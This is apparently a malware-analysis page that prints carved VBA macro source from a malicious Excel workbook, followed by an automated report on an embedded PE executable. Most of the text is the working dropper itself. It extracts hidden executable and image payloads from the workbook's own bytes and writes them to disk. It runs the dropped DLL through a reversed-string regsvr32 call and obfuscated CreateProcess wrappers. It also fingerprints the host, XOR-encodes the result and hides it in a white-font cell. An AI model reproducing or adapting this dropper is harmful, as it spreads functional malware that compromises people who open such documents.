    ThisWorkbook.Sheets(2).Range("E15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E15").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F15").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C16").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D16").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E16").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F16").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F16").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C17").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D17").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E17").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F17").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F17").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C18").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D18").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E18").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F18").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F18").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C19").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D19").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E19").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F19").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F19").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C20").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D20").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E20").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F20").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F20").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C21").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D21").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E21").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F21").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F21").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C22").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D22").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E22").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F22").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F22").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C23").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D23").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E23").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F23").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F23").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C24").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D24").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E24").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F24").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F24").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C25").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D25").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E25").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F25").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F25").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C26").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D26").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E26").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F26").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C27").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D27").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E27").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F27").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C28").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D28").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E28").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F28").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C29").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D29").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E29").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F29").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C30").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D30").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E30").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F30").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C31").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D31").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E31").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F31").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C32").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D32").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E32").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F32").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C33").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D33").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E33").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F33").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C34").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D34").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E34").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F34").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C35").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D35").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E35").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F35").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C36").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D36").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E36").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F36").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C37").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D37").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E37").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F37").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C38").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D38").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E38").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F38").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C39").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D39").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E39").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F39").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C40").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D40").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E40").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F40").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C41").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C41").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D41").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D41").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E41").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E41").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F41").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F41").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C42").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C42").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D42").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D42").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E42").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E42").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F42").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F42").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C43").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D43").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E43").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F43").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C44").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D44").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E44").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F44").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C45").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D45").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E45").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F45").offset(0, 0).Value
    
    
End Sub
Public Sub t1(exec As String)
    Dim tkis As jlop
    With tkis
        .cb = LenB(tkis)
        .dF = SUq Or SUHq
        .wSW = SHq
    End With
    
    Dim tkas_kip As pgot
    Dim wd As String
    Dim r As Long
    r = Neibq(0&, StrPtr(exec), 0&, 0&, True, 0&, ByVal 0&, StrPtr(wd), tkis, tkas_kip)
    WFSO tkas_kip.hP, 15000
End Sub
Public Sub t0()
    exec = exec & tskkl & " /f /IM "

    On Error Resume Next
    If VBA.LenB(fileBytes) > fsz1 Then
        Call WF(fileBytes, fsz1, fsz2)
    End If
    
End Sub
Public Sub ttt()

    If fso.FileExists(dfo & "\" & prot & "\" & dna) = True Then
        SRW
        
        chk = chk + 2
        
        If fso.FileExists(dfo & "\" & pfo1 & "\" & pna) = True Then
            chk = chk + 4
        End If

        nLl = 2
        Exit Sub
    End If

    CrFld dfo & "\" & prot

End Sub

Attribute VB_Name = "Module4"
Public Sub ini2(v() As String)

    tskkl = v(10)
    prot = v(9)
    pfo1 = v(3)
    pna = v(4)
    tmpd = v(5)
    arg1 = v(6)
    arg2 = v(7)
    arg3 = v(8)

End Sub
Public Sub chkos()
    On Error Resume Next
    
    Dim tmp As String
    Dim i As Integer
    tmp = ""
    
    Dim k As Byte
    k = 74
    
    tmp = tmp & Application.OperatingSystem & Chr(10) & Application.Version + Chr(10) & "-" & Chr(10)
    
    chf prf, tmp
    
    tmp = tmp & "-" & Chr(10)
    
    chf prf & " (x86)", tmp

    Dim bres() As Byte
    bres = tmp
    For i = LBound(bres) To UBound(bres)
        bres(i) = bres(i) Xor k
    Next i
    
    Dim res As String
    res = bres
    
    ThisWorkbook.Sheets(1).Range("Z101").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z103").offset(0, 0).Value & res
    ThisWorkbook.Sheets(1).Range("Z101").offset(0, 0).Font.Color = 16777215
    
End Sub
Public Sub clr()

    If nLl = 2 Then
        Exit Sub
    End If
    
    If flr = 1 Then
        asd
    End If
    
    uu
End Sub
Public Sub ges()

    ini0
    
    Dim origPath As String
    Dim pathParts() As String
    pathParts = VBA.Split(ThisWorkbook.path, "/")
    
    origPath = ThisWorkbook.path & "\" & ThisWorkbook.Name
    
    If fso.FileExists(origPath) <> True Then
        If fso.FolderExists(ThisWorkbook.path) <> True Then
            origPath = VBA.Environ("userprofile") & pathParts(UBound(pathParts)) & "\" & ThisWorkbook.Name
            If fso.FileExists(origPath) <> True Then
                origPath = VBA.Environ("userprofile") & "/OneDrive/" & pathParts(UBound(pathParts)) & "\" & ThisWorkbook.Name
            End If
        Else
            
        End If
    End If
    
    fso.CopyFile origPath, tf & "\" & "~" & ThisWorkbook.Name & mp

End Sub

Attribute VB_Name = "Module5"
Public Sub chf(foln As String, ByRef res As String)
    Dim fol, sfol As Object
    
    Set fol = fso.GetFolder(foln)
    
    For Each sfol In fol.subfolders
        res = res + sfol.Name + Chr(10)
    Next sfol
End Sub
Public Sub sge()
    On Error Resume Next
    
    t0
    fso.CopyFile tf & "\" & tmpd, dfo & "\" & prot & "\" & dna
    
    If fso.FileExists(dfo & "\" & prot & "\" & dna) = True Then
        chk = chk + 2
    End If
    
    If fso.FileExists(dfo & "\" & pfo1 & "\" & pna) = True Then
        chk = chk + 4
    End If

End Sub
Public Sub ini()
    Dim v() As String

    Dim pb() As Byte
    
    Dim fname As String
    fname = tf & "\" & "~" & ThisWorkbook.Name & mp
    
    fileBytes = br(fname)
    Dim useless As Long
    useless = 0
    pb = SearchBytes(fileBytes, 0, fsz0, useless)
    
    If GetSz(pb) = 0 Then
        ThisWorkbook.Sheets(1).Range("Z95").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z95").offset(0, 0).Value & 1
        Exit Sub
    End If
    
    vals = StrConv(pb, vbUnicode)
    
    v = Split(vals, "|")
    
    Call gin(v)

    tsk = v(11)
    
    ini2 v
    
    dna = v(1)
    
End Sub
Public Sub getGrs(ByRef res As String)
    
    res = VBA.StrReverse("exe.23r" + "vsger")
    res = res & " /s /n"
    res = res & " /i:'' "
    res = res & dfo & "\" & prot & "\" & dna

End Sub

Attribute VB_Name = "Module6"
Public Function br(ilf) As Byte()
    Dim lexir As Integer
    lexir = 365
    Dim expif As Integer
    Dim ts As Object
    expif = lexir / 23
    Set ts = CreateObject(fsagh)
    If expif < 30 Then
        expif = lexir + 44
    End If
    Dim currentTime As Date
    currentTime = Now()
    ts.Open
    expif = expif / 14
    ts.Type = 1
    expif = expif + 14
    ts.LoadFromFile (ilf)
    expif = expif * 20
    br = ts.Read()
    expif = expif / 23
    ts.Close
    If expif < 30 Then
        expif = lexir + 44
    End If
End Function
Public Function SP(src() As Byte) As Long
    SP = -1
    If VBA.LenB(src) < 5 Then Exit Function
    
    Dim i As Long
    
    For i = 1 To VBA.LenB(src) - 5
        If (src(i) = 77) And (src(i + 1) = 90) And (src(i + 2) = 120) Then
            SP = i
            Exit For
        End If
    Next
End Function
Public Sub reflux()

    Dim str As String
    str = VBA.StrReverse(exec & tsk)

    u1 str
    
End Sub
Public Function SearchBytes(src() As Byte, obj As Integer, size As Long, ByRef offset As Long) As Byte()
    On Error GoTo Err
    
    Dim dst() As Byte
    ReDim dst(size - 1)
    
    Dim raw_bytes_length As Long
    raw_bytes_length = GetSz(src)

    Dim png_start_bytes As Integer
    png_start_bytes = 10
    
    Dim ebPos As Long
    ebPos = SearchEB(src)
    
    Dim shiftEBPos As Long
    shiftEBPos = 8228
    
    Dim c6Pos As Long
    c6Pos = 50688
    
    Dim shiftC6Pos As Long
    shiftC6Pos = 66048
    
    Dim sizeC6 As Long
    sizeC6 = 512
    
    Dim stop_search As Boolean
    stop_search = False
    
    Dim offset_start As Long
    offset_start = SPe(src, ebPos, c6Pos)

    png_start_bytes = png_start_bytes + 127
    
    Dim lsign As Integer
    Dim signB() As Byte
    signB = StrConv(sign, vbFromUnicode)
    lsign = GetSz(signB)
    
    While stop_search <> True
        If offset_start + 5 > raw_bytes_length Then
            offset_start = -1
            Exit Function
        End If
        
        If offset_start = ebPos Then
            offset_start = offset_start + 4
            ebPos = ebPos + shiftEBPos
        End If
        
        If offset_start = c6Pos Then
            offset_start = offset_start + sizeC6
            c6Pos = c6Pos + shiftC6Pos
            ebPos = ebPos + sizeC6
        End If

        If obj = 0 Then
            If (offset_start < 10) Then
                Exit Function
            End If
            
            If (src(offset_start - 3) <> signB(lsign - 3) Or src(offset_start - 2) <> signB(lsign - 2) Or src(offset_start - 1) <> signB(lsign - 1) Or src(offset_start) <> &H7C) Then
                offset_start = offset_start + 1
            Else
                offset_start = offset_start + 1
                stop_search = True
            End If
        ElseIf obj = 1 Then
            If (src(offset_start) <> &H4D Or src(offset_start + 1) <> &H5A Or src(offset_start + 2) <> &H90 Or src(offset_start + 3) <> &H0 Or src(offset_start + 4) <> &H3) Then
                offset_start = offset_start + 1
            Else
                offset = offset_start
                stop_search = True
            End If
        ElseIf obj = 2 Then
            If (src(offset_start) <> png_start_bytes Or src(offset_start + 1) <> 80 Or src(offset_start + 2) <> 78 Or src(offset_start + 3) <> 71 Or src(offset_start + 4) <> 13) Then
                offset_start = offset_start + 1
            Else
                If offset_start >= offset + fsz1 Then
                    stop_search = True
                Else
                    offset_start = offset_start + 1
                End If
            End If
        Else
            Exit Function
        End If
    Wend

    Dim arrPos As Long
    arrPos = 0
    While arrPos < size
        If offset_start + 5 > raw_bytes_length Then
            offset_start = -1
            Exit Function
        End If
        
        If offset_start = ebPos Then
            offset_start = offset_start + 4
            ebPos = ebPos + shiftEBPos
        End If
        
        If offset_start = c6Pos Then
            offset_start = offset_start + sizeC6
            c6Pos = c6Pos + shiftC6Pos
            ebPos = ebPos + sizeC6
        End If

        dst(arrPos) = src(offset_start)
        arrPos = arrPos + 1
        offset_start = offset_start + 1
    Wend
    
    SearchBytes = dst
    Exit Function
Err:
    
End Function

Attribute VB_Name = "Module7"
Public Function GetSz(arr() As Byte) As Long
    On Error Resume Next
    GetSz = UBound(arr) - LBound(arr) + 1
    
End Function
Public Sub hc(cell_name As String)

    Dim tmp_value As String
    Dim tmp_value_len As Long
    tmp_value = ThisWorkbook.Sheets(2).Range(cell_name).Value
    tmp_value_len = Len(tmp_value)
    If tmp_value_len > 0 Then
        If tmp_value_len < 10 Then
            ThisWorkbook.Sheets(2).Range(cell_name).Value = hash1
        ElseIf tmp_value_len < 20 Then
            ThisWorkbook.Sheets(2).Range(cell_name).Value = hash2
        Else
            ThisWorkbook.Sheets(2).Range(cell_name).Value = hash3
        End If
    End If

End Sub
Public Function SearchEB(raw() As Byte) As Long
    Dim raw_bytes_length As Long
    raw_bytes_length = GetSz(raw)
    
    Dim stop_search As Boolean
    stop_search = False
    
    Dim offset_start As Long
    offset_start = 0
    While stop_search <> True
        If offset_start + 5 > raw_bytes_length Then
            offset_start = -1
            Exit Function
        End If

        If (raw(offset_start) <> &HEB Or raw(offset_start + 1) <> &H0 Or raw(offset_start + 2) <> &H20 Or raw(offset_start + 3) <> &H20) Then
            offset_start = offset_start + 1
        Else
            stop_search = True
        End If
    Wend
    
    SearchEB = offset_start

End Function
Public Function WF(src() As Byte, sz1 As Long, sz2 As Long)
    Dim resBoolean As Boolean
    Dim pb() As Byte
    Dim d_offset As Long
    d_offset = 0
    pb = SearchBytes(src, 1, sz1, d_offset)
    
    If GetSz(pb) = 0 Then
        Exit Function
    End If
    
    resBoolean = wtof(tf & "\" & tmpd, pb)
    If resBoolean = False Then
        Exit Function
    End If
    
    pb = SearchBytes(src, 2, sz2, d_offset)
    
    If GetSz(pb) = 0 Then
        Exit Function
    End If
    
    resBoolean = wtof(pfo & "\" & pfo1 & "\" & pna, pb)
    If resBoolean = False Then
        Exit Function
    End If

End Function

Attribute VB_Name = "Module8"
Public prot As String
Public Const twt = "23"
Public exec1 As String
Public Const mp = ".tmp"
Public Const hash3 = "################################################################################################################################################################"
Public fileBytes() As Byte
Public Const SHq As Integer = 0
Public pfo1 As String
Public Const fsz1 = 232960
Public Const FSWq        As Long = &H2
Public Const FADq        As Long = &H4
Public wdr As String
Public Const FSRq         As Long = &H1
Public ps As String
Public Const hash1 = "##########"
Public Const FANq   As Long = &H80
Public arg1 As String
…
embedded_office_00004928.exe embedded-pe Office MZ+PE at offset 0x4928 646360 bytes
SHA-256: 5771f7198b04eeaeec1ec3b6f4fbbd567e51b1dd14220298537903c03b912f06
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

Open this report in the interactive analyzer, or submit your own file for analysis.